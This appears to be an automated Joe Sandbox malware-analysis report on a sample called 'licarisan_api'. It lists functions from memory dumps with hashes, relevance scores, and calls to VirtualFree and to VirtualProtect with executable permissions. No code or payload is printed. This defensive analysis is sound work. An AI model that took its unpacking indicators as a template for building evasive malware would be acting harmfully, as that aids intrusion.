API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 5d452b159ebb6c52f4733c39274c8950cc467a1a64a8f802071f265faae025ca
Instruction ID: 1d6b8aab39f5475653e11a2d369e3b68141acb0cbcca2a11d152cad0e3cc197a
Opcode Fuzzy Hash: 5d452b159ebb6c52f4733c39274c8950cc467a1a64a8f802071f265faae025ca
Instruction Fuzzy Hash: 0A71D2B1E04218ABEB25CB14DC44BFAB7B5FB89311F2082E9E54D67680D6395EC1CF51

Function 007AC2E9 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: e53a4ef92664cffe01a7f65f541101bd7368b2b8bde171bee6fc2f7aafd7f40f
Instruction ID: 1454df68315c955358c5cefdc6ac18620cbc22f130af90f8b43ad52f406ec6be
Opcode Fuzzy Hash: e53a4ef92664cffe01a7f65f541101bd7368b2b8bde171bee6fc2f7aafd7f40f
Instruction Fuzzy Hash: 7C61D4B5E04218AAEB25CF24DC447FAB7B4FB89301F2082EAE50D67680D6395EC1CF51

Function 007AC12A Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: efcf237d23f1d43ed0f3677133fe890ecb8f2a9d7b7adac07fd989f1be68aaf4
Instruction ID: a50032a4c13e154a05892b193dfff34e4f983d6c7830a68b2dad251d419a7d60
Opcode Fuzzy Hash: efcf237d23f1d43ed0f3677133fe890ecb8f2a9d7b7adac07fd989f1be68aaf4
Instruction Fuzzy Hash: 5251DAB2E05314ABE7258A54DC45BFB7778FB8A310F1042FAE40D66680D67C6EC18F52

Function 007AC307 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: af731f63c2b250db9cfa5d950f01727fb9f1ed3456695a4a31160b9990aec750
Instruction ID: 5ad3e7d97b6c1c440bf13dabee0e2cf5a08e4b328843a01ec4c4056bfbb69f31
Opcode Fuzzy Hash: af731f63c2b250db9cfa5d950f01727fb9f1ed3456695a4a31160b9990aec750
Instruction Fuzzy Hash: E761B3B5E04218AAEB25CF64DC447FAB774FB89311F2082EAE50DA7280D6395EC1CF51

Function 007AC429 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID: 0-399585960
Opcode ID: 44ca4fb1d9d6e3f5d93bd2f02fb685e89d1f6b532f8ee7ed0f6e4791e1a517ce
Instruction ID: 96134e09aa9fe1f72136bf6f89d8e9dfdc1626ea1a7cefec0b1344864de89126
Opcode Fuzzy Hash: 44ca4fb1d9d6e3f5d93bd2f02fb685e89d1f6b532f8ee7ed0f6e4791e1a517ce
Instruction Fuzzy Hash: AB61E3B1E04328AAEB25CF54DC847FAB7B5FB89311F2082E9E50D66280D6785EC1CF51

Function 007AC312 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 174COMMON

Download Yara Rule

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: fef2ad6fef6e112200b01d8056e5bdb4def4a8930aef023edefc4dea60606043
Instruction ID: b7e64acfb86e13212ac15686533959ff74233feae663af9c7e71dbbf56eb4e9a
Opcode Fuzzy Hash: fef2ad6fef6e112200b01d8056e5bdb4def4a8930aef023edefc4dea60606043
Instruction Fuzzy Hash: 5361B3B5E042189AEB25CF64DC447FAB7B4FB89311F2082EAE50DA7280D6395EC1CF11

Function 007ABA85 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 03eb40003d7aea7a48d3c7f105ea3e8ff05d8ea32fc4a51b69587840cfe87027
Instruction ID: b8b7e92d9b7152237af518181a550742c0f62f831b53ba9a4572bf736b3b4a4d
Opcode Fuzzy Hash: 03eb40003d7aea7a48d3c7f105ea3e8ff05d8ea32fc4a51b69587840cfe87027
Instruction Fuzzy Hash: 9C51F7B2E006149BE7208A14DC59BFBB778EBC5311F1042FAE90D66680D77D6EC58F61

Function 007AC3D6 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 609a1b9cb26e3aa2522e0ee4f1faa309225e629142b8d4171cf7ce40ef8fc6c0
Instruction ID: 89d93d233a294802a02b560c9e8b1c12a988538d0c1fcaee43f98b5dc6941631
Opcode Fuzzy Hash: 609a1b9cb26e3aa2522e0ee4f1faa309225e629142b8d4171cf7ce40ef8fc6c0
Instruction Fuzzy Hash: 1B41E971E04318ABEB258B65DC44BBAB774FBCA311F2042EAE54D66280D6386EC1CF51

Function 007AC1FB Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 9eebcd0e7b7385d5ef7c7b0f17f4bd759b2c7f81346ee6301c4d9706da20839f
Instruction ID: 3ffdc16ab6d6340c4aff0d61841bd96e4efc6cb509aad342ea65768bb1ba5a13
Opcode Fuzzy Hash: 9eebcd0e7b7385d5ef7c7b0f17f4bd759b2c7f81346ee6301c4d9706da20839f
Instruction Fuzzy Hash: 0041C671E05318ABEB258B54DC85BFAB774FB8A711F1042E9E40E67680C6786EC1CF51

Function 007ABCFD Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: eb6a7abb7b6730169ed53399002660d307ffb30814cfb39ce4ea58d2f8daef02
Instruction ID: 73e78a0fb78c357113fee7fb23c8f2a0d3e2943daccf5ce3d10d15171b6212a0
Opcode Fuzzy Hash: eb6a7abb7b6730169ed53399002660d307ffb30814cfb39ce4ea58d2f8daef02
Instruction Fuzzy Hash: 9431C1B2F00618ABE7748A15DC49FBAB779EBC5310F2042E9E50D66680DA7C6EC18E51

Function 007AC482 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 590f64cee7a2a9b17896224b807a19b6f7f14f63fe24103004ae685ae5e2c058
Instruction ID: cc1cb1ac1b063942eb606db63563e8c9e06bc8ad024985c45ad83a62e43b336e
Opcode Fuzzy Hash: 590f64cee7a2a9b17896224b807a19b6f7f14f63fe24103004ae685ae5e2c058
Instruction Fuzzy Hash: 1231C972E00318ABEB25CE24DC44BBAB775FBCA711F2042E9E50D66680C6386EC08F51

Function 007AC117 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: a69b9c879ee4d4e61510bcbd93e62abcac418c4e3f509350cdbe28da51aa2944
Instruction ID: 1525e216f2bc8bcf1402efd099ecb8f3a00f55bd75e34b66b43ff55d90c0902e
Opcode Fuzzy Hash: a69b9c879ee4d4e61510bcbd93e62abcac418c4e3f509350cdbe28da51aa2944
Instruction Fuzzy Hash: 6231F6B2F01718ABFB358A55DC45BABB778EB85310F1042F9E50D96680D57C9EC08F51

Function 007ABD04 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 0c97f7765b71ef8214ac5984f3205be60dc1759ccad33ba4416cbafa304ce69e
Instruction ID: 29141079ee3b7bd575e7e1cd5743c99c4c94e6e882dc8c19460af3c6d215210d
Opcode Fuzzy Hash: 0c97f7765b71ef8214ac5984f3205be60dc1759ccad33ba4416cbafa304ce69e
Instruction Fuzzy Hash: 9C31B0B2F00618ABEB748A15DC49FBAB779EBC5310F1042E9E50D67680DA786EC18F51

Function 007AC25E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: d853f152399a1d6ab5e6935ae24fff43d46c68606aaa3d3cfce9963f27704065
Instruction ID: 5c1bb31c19edeb2de70688b436b83d4af1949d83d99e26a9fd476d7411c3e83c
Opcode Fuzzy Hash: d853f152399a1d6ab5e6935ae24fff43d46c68606aaa3d3cfce9963f27704065
Instruction Fuzzy Hash: A431A571E00318ABEB358A54DC84BEAB774FB8A711F2042E9E54DA7280C6786EC08F51

Function 007AC4A1 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 475820cc6636f0ff1001a395c9c2a7c42a251b9f9c81458939018e2a97672b10
Instruction ID: 08351f75eebc97045d37530b15d25696c93444c5751458ef337618ac3b00b6d4
Opcode Fuzzy Hash: 475820cc6636f0ff1001a395c9c2a7c42a251b9f9c81458939018e2a97672b10
Instruction Fuzzy Hash: CB31B671E00318ABEB258A24DC44BEAB774FB89711F2042E9E50DA7280C6786EC18F51

Function 007ABCC6 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: b7889ebaad0b84ab2512a546ea8b73d52d05d9ddc356231a7c2b9b4f5c531176
Instruction ID: fd368957637398418a63bbebded74b8489599faa443560514f60ddb93cddf9d6
Opcode Fuzzy Hash: b7889ebaad0b84ab2512a546ea8b73d52d05d9ddc356231a7c2b9b4f5c531176
Instruction Fuzzy Hash: 9731E1B2F00214ABF7348A15DC48BAB7778EBC5320F1042F9F50D66680DA796EC18E51

Function 007AC14F Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 398c79ac294e8a3224d671425b208c8b4c5ebefb929975ec32630353bfe39967
Instruction ID: 0b453bd5cd81547a118089a6ab5fea09c6808439c2be87a92644c10e12237b0c
Opcode Fuzzy Hash: 398c79ac294e8a3224d671425b208c8b4c5ebefb929975ec32630353bfe39967
Instruction Fuzzy Hash: 7431C5B2F00718ABFB358A55DC45BBBB778EB85320F1042E9E50DA6680D67C9EC08F51

Function 007AC2C7 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 9cb92442304782f198ce376fce12b9f74f1960ad33c9f37e40c51f26fbdab747
Instruction ID: 49e8c4e35e17b3fa1aecfa57351cd35bbf500a1fe81d78d967845060d2555a92
Opcode Fuzzy Hash: 9cb92442304782f198ce376fce12b9f74f1960ad33c9f37e40c51f26fbdab747
Instruction Fuzzy Hash: 15318771E00318ABEB358B64DC44BBAB774FB89711F2042E9E50DA6680C6796EC08F51

Function 007AC149 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: d6cac45f500da1d56d63cbf2d839432a4a5da025848ac7e8b1256f246f1a7191
Instruction ID: 63b1b9b06afb06cd5ee5260544c30912e92577c5e0f0febf079715e0609ed778
Opcode Fuzzy Hash: d6cac45f500da1d56d63cbf2d839432a4a5da025848ac7e8b1256f246f1a7191
Instruction Fuzzy Hash: 2C31B4B2F40718ABFB358A55DC45BBBB778EB85320F1042E9E50DA6680D67C9EC08F51

Function 007AC528 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 4d87bb2950da209f0fbedaaf8dc1c682a82597ed12581661aa93e1bf8978dd75
Instruction ID: a26ddbe78309eab30d06003ad0f8eb69989fdf6daa673dddf69ea97d50e4abfc
Opcode Fuzzy Hash: 4d87bb2950da209f0fbedaaf8dc1c682a82597ed12581661aa93e1bf8978dd75
Instruction Fuzzy Hash: 46318471F00718ABEB25CE64DC44BAAB775FB89711F2042E9E54DA7280C678AEC08F11

Function 007AC171 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: e465aa12786ff38937b8fed913bafcc6839dd581aafb3daf37a06a4d29d41662
Instruction ID: b166cb2ffe15f8ad6a937773f26d85b0c5844129973a17ad315fa631618e6d3f
Opcode Fuzzy Hash: e465aa12786ff38937b8fed913bafcc6839dd581aafb3daf37a06a4d29d41662
Instruction Fuzzy Hash: 5721EAB2F00714ABFB348A54DC45FAAB778FB85310F1042E9E50D96680DA789FC08F11

Function 007ABD61 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: b0fa45d5876e463ad580025d175e10e510d257f028c0db719f2114d4873bf3dc
Instruction ID: 4ef7c829929a912d9c6e65b86d4828468d48d10e41dc8bf079e46500cb888f9f
Opcode Fuzzy Hash: b0fa45d5876e463ad580025d175e10e510d257f028c0db719f2114d4873bf3dc
Instruction Fuzzy Hash: C621D1B2F00314ABF7748A64DC49BBAB778EBC5310F1042E9F50D6A680DA795EC18F11

Function 007AC565 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: a015c9269c0f9357aab274a3c6c81782fd82b2ef031a25794c6bfa0c0237fd05
Instruction ID: 6a9473efeaa6b0cac19ea484c4a92f477a771782623b5dbc20003d226d1cd362
Opcode Fuzzy Hash: a015c9269c0f9357aab274a3c6c81782fd82b2ef031a25794c6bfa0c0237fd05
Instruction Fuzzy Hash: 2D21A675F01718ABEB35CE60DC48BB9B7B4FB8A711F1042E9E54DA6280C6789EC18F01

Function 007AC580 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 5d8526589c0a7cd1354d38865a31cbe857800af0b33557c2e661810eacc8e49e
Instruction ID: f6c825e70d39b73242e403de618c3362b61a147f951c19a4e6d44e4e80ef319f
Opcode Fuzzy Hash: 5d8526589c0a7cd1354d38865a31cbe857800af0b33557c2e661810eacc8e49e
Instruction Fuzzy Hash: ED213075F01718ABEB35CA60DC48BA9B7B5FB89711F1042D9E54DA6680CA785EC08F11

Function 007AC586 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 78f3dfdaee8065cce4dc377755ff394c4dd9ac3523d471fa5a4f735ab731ecb2
Instruction ID: bfbb113cd2422790bbffa36b93560f5b984fea63a4c09141054c300f30f68182
Opcode Fuzzy Hash: 78f3dfdaee8065cce4dc377755ff394c4dd9ac3523d471fa5a4f735ab731ecb2
Instruction Fuzzy Hash: 4C215171F01728ABEB35CA50DC44BAAB775FB89711F1042D9E54DA7280C6789EC0CF40

Function 007AC86B Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 2905a1b3d16c9afd206afd1153e24ad67516d8cffc638537b4985609b6f4b83c
Instruction ID: a8af6e6bf767e241e4f40725efb20ffc2da44ad8dccb993f268b9740d76714fa
Opcode Fuzzy Hash: 2905a1b3d16c9afd206afd1153e24ad67516d8cffc638537b4985609b6f4b83c
Instruction Fuzzy Hash: E6115E76F01718ABEB75CA51DC44BAAB7B9BBC9711F1042D9E50DA6680CA789EC08F01

Function 007AC632 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: 19a635d113a889bca145703eea937c5f941f0b0294e54e31b88c8b81cb096b1d
Instruction ID: 9dafd8aab2f3cd08ddf668af48ac0107ec79b53f75657b89b090be6e50d859a8
Opcode Fuzzy Hash: 19a635d113a889bca145703eea937c5f941f0b0294e54e31b88c8b81cb096b1d
Instruction Fuzzy Hash: FE115175F01718ABEB75CA51DC44BAAB779BBC9711F1042D9E50DA6680CA749EC08F01

Function 007AC60D Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: f9cd534e2d79336848db7c2bd752ae2309d7de300c3ea0983c99940856add9dc
Instruction ID: 052167ba2bdd6170348e2ba9594debb504a105eabe40accdae341188188b83f9
Opcode Fuzzy Hash: f9cd534e2d79336848db7c2bd752ae2309d7de300c3ea0983c99940856add9dc
Instruction Fuzzy Hash: 4F118171F01718ABEB75CA60DC44BAAB7B9BBC9711F1042D9E50DA6680CA749EC08F01

Function 007AC5DB Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-399585960
Opcode ID: a5d1341fad287f58e2e9133a19f59c78098befd68d0ede081d43d3dd70189b22
Instruction ID: 97124aaa41c717216592375e5207dce16a6eda4ff73cc6bb7ac53e14231e09de
Opcode Fuzzy Hash: a5d1341fad287f58e2e9133a19f59c78098befd68d0ede081d43d3dd70189b22
Instruction Fuzzy Hash: 21115E76F01718ABEB75CA61DC44BAAB779BBC9711F1042D9E50DA6680CA789EC0CF01

Function 007A59C9 Relevance: 1.7, APIs: 1, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c8dd0b6c53d9b6222e82cc26891b966b17b7330245c299591a17c20adc1dd87b
Instruction ID: 02e91c3cfac89311b4379ea70181820f232e1ec225e3f0482b65af0b793324bd
Opcode Fuzzy Hash: c8dd0b6c53d9b6222e82cc26891b966b17b7330245c299591a17c20adc1dd87b
Instruction Fuzzy Hash: 4471D2B2D005259BE7248A15DC94BEFBB79EF91310F0481FAD90DA7780EA385EC58F91

Function 007C88BF Relevance: 1.7, APIs: 1, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9f8c703c4156bc9f4bb532e3141dcc47fc2f07e4646ef20af98183b881b1bb8d
Instruction ID: b0345f813f17c64d8cea8ce49bd2acbcbfdd0ec870eddd6e3baac2363402e8e2
Opcode Fuzzy Hash: 9f8c703c4156bc9f4bb532e3141dcc47fc2f07e4646ef20af98183b881b1bb8d
Instruction Fuzzy Hash: 7B617EB1D10518CEE7648B24DC94BFAB775EF84311F1081EEE44EAA280EB785EC18F12

Function 007B22DE Relevance: 1.7, APIs: 1, Instructions: 160memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,007B22D7,?,?,?,?,00000000,007B23F1), ref: 007B28FD

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

